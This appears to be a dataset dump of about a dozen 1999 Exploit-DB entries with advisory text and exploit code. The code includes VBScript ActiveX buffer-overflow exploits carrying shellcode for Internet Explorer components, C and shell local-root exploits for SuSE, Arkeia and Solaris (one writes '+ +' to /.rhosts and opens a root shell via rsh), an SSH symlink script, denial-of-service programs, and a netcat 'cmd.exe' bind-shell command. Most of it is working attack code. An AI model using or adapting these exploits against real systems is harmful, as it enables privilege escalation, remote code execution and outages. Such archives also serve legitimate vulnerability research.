QLWD/code_shield huggingface dataset:
标题: Microsoft Internet Explorer 4.1/5 - Registration Wizard Buffer Overflow EDB-ID: 19528 CVE: 1999-1578 1999-1575 类型: LOCAL 平台: WINDOWS 发布日期: 1999-09-27 漏洞利用脚本: Microsoft Internet Explorer 4.1/5.0 for Windows 95/Windows NT 4,Windows 98 Registration Wizard Buffer Overflow Vulnerability

source: https://www.securityfocus.com/bid/671/info


There is a buffer overflow in the Internet Explorer Registration Wizard control (regwizc.dll). This control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the control is run in a malicious manner. 

REGWIZC

The Registration Wizard control used by Microsoft to 
register MS products also contains a buffer overrun in 
the 'InvokeRegWizard' method. When called with a long 
string, pre-pended with '/i', we can gain control of the 
RET address and exploit the control in a similar manner as 
the PDF control. This exploit will cause a 'Regwiz.log' 
file to be created in the temporary directory, and once 
again will execute CALC.EXE and terminate the host.

<object classid="clsid:50E5E3D1-C07E-11D0-B9FD-
00A0249F6B00" id="RegWizObj">
</object>

<script language="VbScript" ><!--

msgbox("Registration Wizard Buffer Overrun" + Chr(10) 
+ "Written by Shane Hird")

expstr = "/i 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

'We overflowed to the RET point of the stack
'No NULL's allowed so ret to <JMP ESP> in Shell32

expstr = expstr & Chr(235) 'Address in SHELL32, Win98 
(7FD035EB) of JMP ESP
expstr = expstr & Chr(53) 'You may need to use a 
different address
expstr = expstr & Chr(208)
expstr = expstr & Chr(127)


'NOP for debugging purposes
expstr = expstr + Chr(144)

'MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

'ADD EDI, 19 (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

'PUSH EAX (Window Style EAX = 41414141)
expstr = expstr + Chr(80)

'PUSH EDI (Address of command line)
expstr = expstr + Chr(87)

'MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + 
Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

'PUSH EAX
expstr = expstr + Chr(80)

'MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) 
+ Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"

RegWizObj.InvokeRegWizard(expstr)

--></script> URL: https://www.exploit-db.com/exploits/19528
标题: Linux Kernel 2.2 - Predictable TCP Initial Sequence Number EDB-ID: 19522 CVE: 2004-0641 2002-1463 2001-1104 2001-0751 2001-0328 2001-0288 2001-0163 2001-0162 2000-0916 1999-0077 类型: REMOTE 平台: LINUX 发布日期: 1999-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/670/info

A vulnerability in the Linux kernel allows remote users to guess the initial sequence number of TCP sessions. This can be used to create spoofed TCP sessions bypassing some types of IP based access controls.

The function 'secure_tcp_sequence_number' in the file 'drivers/char/random.c' at line 1684 is used to generate the initial sequence number. It used the MD4 hash with a set of inputs to generate the new ISN. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19522.tar.gz URL: https://www.exploit-db.com/exploits/19522
标题: Microsoft MSN Messenger Service 1.0 Setup BBS - ActiveX Control Buffer Overflow EDB-ID: 19516 CVE: 1999-1484 类型: LOCAL 平台: WINDOWS 发布日期: 1999-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/668/info

There is a buffer overflow in the 4.71.0.10 version of the MSN Setup BBS ActiveX control (setupbbs.ocx).. This ActiveX control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the ActiveX control is run in a malicious manner. 

SETUPBBS:

When this control is initialised, it will display a prompt 
notifying the user that the control is capable of modifying 
Mail and News configuration etc and asks the user whether 
he/she wishes the control to proceed. This control is 
exploitable through two different methods, vAddNewsServer 
and bIsNewsServerConfigured. I have simply RET'd to 
ExitProcess with this exploit, although there are other 
possibilities.

<object
   classid="clsid:8F0F5093-0A70-11D0-BCA9-00C04FD85AA6"
 id="setupbbs"></OBJECT>

<script language="vbscript"><!--

msgbox("MSN Setup BBS Buffer Overrun" + Chr(10) + "Written 
by Shane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

'RET address (ExitProcess BFF8D4CA)
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'This buffer overrun can be triggered by either method.
'setupbbs.vAddNewsServer expstr, true
setupbbs.bIsNewsServerConfigured expstr

--></script> URL: https://www.exploit-db.com/exploits/19516
标题: Microsoft Internet Explorer 4 (Windows 95/NT 4.0) - Setupctl ActiveX Control Buffer Overflow EDB-ID: 19515 CVE: 1999-1575 类型: REMOTE 平台: WINDOWS 发布日期: 1999-09-27 漏洞利用脚本: Microsoft Internet Explorer 4.0 for Windows 95/Windows NT 4 Setupctl ActiveX Control Buffer Overflow

source: https://www.securityfocus.com/bid/667/info

There is a buffer overflow in the setupctl ActiveX control that used to ship with some versions of Microsoft's Internet Explorer. This ActiveX control is used to link to an update site at Microsoft and is marked 'Safe for Scripting' . Arbitrary commands may be executed if the ActiveX control is run in a malicious manner. 

SETUPCTL

Apparently a control that was once used for the IE update 
web site which is no longer in use, although it should 
still exist on a lot of systems. With this exploit, similar 
to the PDF exploit, ESP points to our code so we simply RET 
to the same JMP ESP in Shell32. Also, this exploit differs 
in that we set a property first (DistUnit) with the long 
string, then call the method (InstallNow). Again, I have 
simply demonstrated how to execute CALC.EXE, though any 
code can be executed.


<object classid="clsid:F72A7B0E-0DD8-11D1-BD6E-
00AA00B92AF1" id = "setupctl">
</object>

<script language="vbscript"><!--

msgbox("Setupctl 1.0 Type Library Buffer Overrun" + Chr(10) 
+ "Written by Shane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA"

expstr = expstr + Chr(235) 'Address in SHELL32, Win98 
(7FD035EB) of JMP ESP
expstr = expstr + Chr(53) 'You may need to use a 
different address
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)

'NOP for debugging purposes
expstr = expstr + Chr(144)

'MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

'ADD EDI, 19h (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

'PUSH EAX (Window Style EAX = 41414141)
expstr = expstr + Chr(80)

'PUSH EDI (Address of command line)
expstr = expstr + Chr(87)

'MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + 
Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

'PUSH EAX
expstr = expstr + Chr(80)

'MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) 
+ Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"

'Run exploit
setupctl.DistUnit = expstr
setupctl.InstallNow

--></script> URL: https://www.exploit-db.com/exploits/19515
标题: Eicon Networks DIVA LAN ISDN Modem 1.0 Release 2.5/1.0/2.0 - Denial of Service EDB-ID: 19513 CVE: 1999-1533 类型: DOS 平台: HARDWARE 发布日期: 1999-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/665/info

A vulnerability in the Diva LAN ISDN Modem allows remote malicious users to lock up the modem requiring a hard reset.

The vulnerability manifests itself when a remote users connects to the Diva HTTP port and sends a GET request of the form 'login.html?password=<very long string>'.

Enter the URL 'http://diva/login.htm?password=0123456789012345678901234567890123456789' into your browser, where 'diva' is the IP address of the modem. URL: https://www.exploit-db.com/exploits/19513
标题: Solaris 2.6 - Profiling File Creation EDB-ID: 19509 CVE: 1999-0786 类型: LOCAL 平台: SOLARIS 发布日期: 1999-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/659/info

A vulnerability in the dynamic linkers while profiling a shared object allows local users to create arbitrary files in the system. It canno't be used to overwrite existing files.

If the LD_PROFILE environment variable is defined it instructs the dynamic linker to profile the shared object defined by it. When profiling is enabled, a profiling buffer file is created and mapped. The name of the buffer file is the name of the shared object being profiled with a .profile extension. By default this buffer is placed under /var/tmp.

The dynamic linker created the buffer file insecurely in the case where it runs in the context of a setuid application. It follows symbolic links while creating the file.

This is Sun BugID 4150646. This is the same bug as Sun BugID 1241843. The new instance was introduced after an extensive rewrite of the dynamic linker. The problem was originally fixed in Solaris 2.5.1 and back patched. It was reintroduced in 2.6 and back patched into 2.5.1. 

#! /bin/ksh
# LD_PROFILE local root exploit for solaris
# steve@tightrope.demon.co.uk 19990922
umask 000
ln -s /.rhosts /var/tmp/ps.profile
export LD_PROFILE=/usr/bin/ps
/usr/bin/ps
echo + + > /.rhosts
rsh -l root localhost csh -i URL: https://www.exploit-db.com/exploits/19509
标题: SSH Communications Security SSH 1.2.27 - Authentication Socket File Creation EDB-ID: 19510 CVE: 1999-0787 类型: LOCAL 平台: LINUX 发布日期: 1999-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/660/info

A vulnerability in SSH's creation of the authentication agent UNIX domain socket allows local users to create a UNIX domain socket with an arbitrary file name in the system.

SSH has the concept of authentication proxying via the SSH authentication agent. It allows for a basic kind of Single Sign-On capability. The sshd daemon, ssh and ssh-agent communicate via a UNIX domain socket normally of the form '/tmp/ssh-<username>/agent-socket-<pid>'.

SSH follows symbolic links while creating the socket as root thus allowing any local users with ssh access to create a socket with an arbitrary filename in the system.

Notice that this will not work under all operating systems. Some operating systems do not follow symbolic links during bind(2) on UNIX domain sockets. Linux 2.0.x, Solaris 2.5.1 and IRIX 6.5.2 do not follow symbolic links during bind(2). Linux 2.1.x does.

You can use the following program by Dan Astoorian <djast@cs.toronto.edu> to test whether your system does or does not follow symbolic links during bind(2):

#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define FPATH "./bindlinktest"
#define LPATH "./bindlinktest0"

int main(int argc, char **argv) {
int fd;
struct sockaddr_un sunaddr;

fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) { perror("socket");exit(1); };

unlink(FPATH);
if (symlink(FPATH, LPATH) < 0) {
perror("symlink");exit(1);
}

memset(&sunaddr, 0, sizeof(sunaddr));
sunaddr.sun_family = AF_UNIX;
strncpy(sunaddr.sun_path, LPATH, sizeof(sunaddr.sun_path));
if (bind(fd, (struct sockaddr *)&sunaddr, sizeof(sunaddr)) < 0) {
if (errno == EADDRINUSE) {
printf("bind() returned EADDRINUSE; this system appears to be okay.\n");
} else {
perror("bind");
}
} else {
printf("bind() succeeded; this system appears to be vulnerable.\n");
}

close(fd)
unlink(FPATH);
unlink(LPATH);
exit(0);
} 

#!/usr/bin/perl

$pid = $$;

$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);

for ($i = $pid; $i < $pid+50; $i++)
{
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
} URL: https://www.exploit-db.com/exploits/19510
标题: Adobe Acrobat ActiveX Control 1.3.188 - ActiveX Buffer Overflow EDB-ID: 19514 CVE: 1999-1576 类型: REMOTE 平台: WINDOWS 发布日期: 1999-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/666/info

There is a buffer overflow in the 1.3.188 version of the Adobe Acrobat ActiveX control (pdf.ocx) that ships with Acrobat Viewer 4.0. This ActiveX control is marked 'Safe for Scripting' within Internet Explorer 4.X. Arbitrary commands may be executed if the ActiveX control is run in a malicious manner 

This control from Adobe Acrobat, can be exploited through 
the setview method, and because ESP points to the address 
after the RET address, we can place arbitrary code at this 
point and JMP to it by RET'ing to a JMP ESP, in this case, 
one found in Shell32. The code simply executes CALC.EXE 
then calls ExitProcess to terminate the host without it 
crashing. I have attempted to notify Adobe of the issue, 
however they don't appear to have any form of direct 
secure@ address.

<object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000"
id="pdf"></object>

<script language="VBscript"><!--

msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10) 
+ "Written by Shane Hird")

expstr 
= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA" 

expstr = expstr + Chr(235) 'Address in SHELL32, Win98 
(7FD035EB) of JMP ESP
expstr = expstr + Chr(53) 'You may need to use a 
different address
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)

'Stack is slightly trashed, but NOPs fix it up ok
expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) 
+ Chr(144)

'MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

'ADD EDI, 19 (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

'PUSH EAX (Window Style EAX = 1)
expstr = expstr + Chr(80)

'PUSH EDI (Address of command line)
expstr = expstr + Chr(87)

'MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + 
Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

'PUSH EAX
expstr = expstr + Chr(80)

'MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) 
+ Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"

'Call exploitable method
pdf.setview(expstr)

--></script> URL: https://www.exploit-db.com/exploits/19514
标题: Knox Arkeia 4.0 Backup - Local Overflow EDB-ID: 19511 CVE: 1999-1534 类型: LOCAL 平台: LINUX 发布日期: 1999-09-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/661/info

Knox Software Arkeia 4.0 Backup rnavc & nlserverd HOME Environment Variable Buffer Overflow

A local buffer overflow in the handling of the HOME environment variable by the rlserver and rnavc binaries that are part of the Knox Software Arkiea backup application allow local users to obtain root access.
*/


/*
 * nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2
 * exploits Arkiea's Knox backup package.
 * gcc -o knox knox.c
 * ./knox <offset> <buflen>
 *
 *
 * NOTE: you *MUST* have void main(){setuid(geteuid());
system("/bin/bash");}
 *       compiled in /tmp/ui for this to work.
 *
 * To exploit rnavc, simply change the execl call to
("/usr/bin/knox/rnavc",
 *                                                  "rnavc", NULL)
 * -Brock Tellier btellier@webley.com
 */


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/ui";



#define LEN 2000
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);

 }
 else {
   offset=2800;
   buflen=1200;

 }


addr=get_sp();

fprintf(stderr, "Arkiea Knox backup package exploit\n");
fprintf(stderr, "For nlservd and rnavc\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+3;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

setenv("HOME", buf, 1);
execl("/usr/knox/bin/nlservd", "nlservd", NULL);


} URL: https://www.exploit-db.com/exploits/19511
标题: SuSE Linux 6.2 sscw - HOME Environment Variable Buffer Overflow EDB-ID: 19508 CVE: 1999-0906 类型: LOCAL 平台: LINUX 发布日期: 1999-09-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/656/info

A buffer overflow vulnerability in sscw's handling of the HOME environment variable allows local users to gain root privileges. 

#!/bin/bash
#
# Linux x86 exploit for /usr/bin/sccw on SuSE 6.2
#
# -Brock Tellier btellier@webley.com

echo "Building /tmp/sccwx.c..."
cat > /tmp/sccwx.c << FOEFOE
/*
 * sccw local root Linux x86 tested on SuSE 6.2
 * gcc -o sccwx sccwx.c
 * must compile/run a setuid(geteuid()); system("/bin/bash"); for a
rootshell
 *
 * -Brock Tellier btellier@webley.com
 */


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/sc";



#define LEN 400
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);

 }
 else {
   offset=2100;
   buflen=300;

 }


addr=get_sp();

fprintf(stderr, "SuSE 6.2 sccw local root\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

setenv("HOME", buf, 1);
execl("/usr/bin/sccw", "sccw", NULL);

}
FOEFOE

echo "Building /tmp/sccwuid.c..."

cat > /tmp/sccwuid.c <<EOFFOE
void main()
{
    setuid(geteuid());
    system("/bin/bash");
}
EOFFOE

echo "Compiling /tmp/sccwx..."
gcc -o /tmp/sccwx /tmp/sccwx.c

echo "Compiling /tmp/sc..."
gcc -o /tmp/sc /tmp/sccwuid.c

echo "Launching /tmp/sccwx..."
/tmp/sccwx
echo "If it didn't work, try /tmp/sccwx <offset> <bufsiz>" URL: https://www.exploit-db.com/exploits/19508
标题: Solaris 7.0 - Recursive mutex_enter Remote Panic (Denial of Service) EDB-ID: 19507 CVE: 1999-0908 类型: DOS 平台: SOLARIS 发布日期: 1999-09-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/655/info

A vulnerability in Solaris TCP/IP stack may allow remote users to panic the system.

If the nmap network mapping utility is used with the OS fingerprinting option ('-O') against an active listening port and the server listening on that port is then killed the system will panic because of recursive calls to mutex_enter within the TCP streams driver.

$nmap -O -p 80 targethost.com URL: https://www.exploit-db.com/exploits/19507
标题: Microsoft Windows NT 4.0/SP1/SP2/SP3/SP4/SP5 - RASMAN Privilege Escalation EDB-ID: 19502 CVE: 1999-0886 类型: LOCAL 平台: WINDOWS 发布日期: 1999-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/645/info

Any authenticated NT user (ie domain user) can modify the pathname for the RASMAN binary in the Registry. The next time the RAS Service is started, the (trojan) service referenced by the RASMAN pathname will be executed with system privileges. This trojan service may allow the User to execute commands on the target server as an administrator, including elevating the privileges of their own account to that of Administrator. A modified (UNC) pathname may be used to point to an executable existing on another host on the network. 

19502-1.exe <binary pathname> will modify the RASMAN/ImagePath key in the Registry with the service executable to be run in its place. 19502-2.exe (author supplied) is a sample trojan service that may be run. This executable runs a service which launches a netcat listener on tcp port 123. (nc -d -L -p 123 -e cmd.exe). (This service may or may not run with errors.) 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19502-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19502-2.exe URL: https://www.exploit-db.com/exploits/19502
标题: FreeBSD 3.0/3.1/3.2 - 'vfs_cache' Denial of Service EDB-ID: 19505 CVE: 1999-0912 类型: DOS 平台: FREEBSD 发布日期: 1999-09-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/653/info

A vulnerability exists in FreeBSD's new VFS cache introduced in version 3.0 that allows a local and possibly remote user to force the kernel to consume large quantities of wired memory thus creating a denial of service condition. The new VFS cache has no way to purge entries from memory while the file is open, consuming wired memory and allowing for the denial of service (memory that cannot be swapped out).

FreeBSD versions earlier than 3.0 are not vulnerable, nor is the original 4.4BSD-Lite code. 

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

#define NFILE 64
#define NLINK 30000
#define NCHAR 245

int
main()
{
 char junk[NCHAR+1],
      dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
 int i, j;
 struct stat sb;

 memset(junk, 'x', NCHAR);
 junk[NCHAR] = '\0';
 for (i = 0; i < NFILE; i++) {
  printf("\r%02d/%05d...", i, 0),
  fflush(stdout);
  sprintf(dir, "%02d-%02d", i, 0);
  if (mkdir(dir, 0755) < 0)
   fprintf(stderr, "mkdir(%s) failed\n", dir),
   exit(1);
  sprintf(file1, "%s/%s%03d", dir, junk, 0);
  if (creat(file1, 0644) < 0)
   fprintf(stderr, "creat(%s) failed\n", file1),
   exit(1);
  if (stat(file1, &sb) < 0)
   fprintf(stderr, "stat(%s) failed\n", file1),
   exit(1);
  for (j = 1; j < NLINK; j++) {
   if ((j % 1000) == 0) {
    printf("\r%02d/%05d...", i, j),
    fflush(stdout);
    sprintf(dir, "%02d-%02d", i, j/1000);
    if (mkdir(dir, 0755) < 0)
     fprintf(stderr, "mkdir(%s) failed\n", dir),
     exit(1);
   }
   sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
   if (link(file1, file2) < 0)
    fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
    exit(1);
   if (stat(file2, &sb) < 0)
    fprintf(stderr, "stat(%s) failed\n", file2),
    exit(1);
  }
 }
 printf("\rfinished successfully\n");
} URL: https://www.exploit-db.com/exploits/19505